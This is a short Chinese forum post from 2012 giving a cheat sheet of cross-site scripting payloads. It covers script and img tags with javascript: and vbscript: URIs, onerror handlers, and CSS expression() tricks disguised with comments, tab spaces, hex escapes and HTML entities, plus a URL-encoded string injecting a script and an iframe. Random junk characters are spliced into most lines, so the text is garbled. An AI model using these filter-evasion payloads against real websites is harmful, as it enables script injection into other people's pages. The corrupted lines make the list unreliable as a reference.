<script>alert("跨站")</script> (最常用）
7 a9 J2 a& w9 J/ i, I" ?<img scr=javascript:alert("跨站")></img>1 X, x% N! _0 Z& v% n6 _
<img scr="javascript: alert(/跨站/)></img>
; j, V2 Z4 H' r% G6 d<img scr="javas????cript:alert(/跨站/)" width=150></img> (?用tab键弄出来的空格）: \9 F2 }* P* d* O
<img scr="#" onerror=alert(/跨站/)></img>1 P( L& q, N8 L6 _; _* O* y1 ~
<img scr="#" style="xss:expression(alert(/xss/));"></img>
( I M1 D5 e4 G6 f g- L& Q<img scr="#"/* */onerror=alert(/xss/) width=150></img> (/**/ 表示注释）2 R' e2 F7 I" Z' @2 v
<img src=vbscript:msgbox ("xss")></img>
! N! ]+ E4 @( a3 i<style> input {left:expression (alert('xss'))}</style>1 V- g8 F( D& F8 l1 H
<div style={left:expression (alert('xss'))}></div>0 `# |2 M' S$ e& R6 q. Q
<div style={left:exp/* */ression (alert('xss'))}></div>
/ G/ [; n5 V" J( `) H( T* V. |<div style={left:\0065\0078ression (alert('xss'))}></div>
6 F. _9 Q; L7 H* k9 _% Dhtml 实体 <div style={left:&#ｘ0065；xpression (alert('xss'))}></div>
: Q) P4 N+ W. q, D. r( Tunicode <div style="{left:expRessioN (alert('xss'))}">
4 m- O! K5 c( |6 \9 W' m* k8 V# {3 ?, U6 P
"]}%3Cscript%3Ealert('我又来啦！.')%3C/script%3E{[&item="]<iframe%20src=WWW.BAIDU.COM%20width=400%20height=600></iframe>["# L+ R4 Z5 e9 Q' e+ Z
|
发表于 2012-9-15 14:09:13
收藏
支持
反对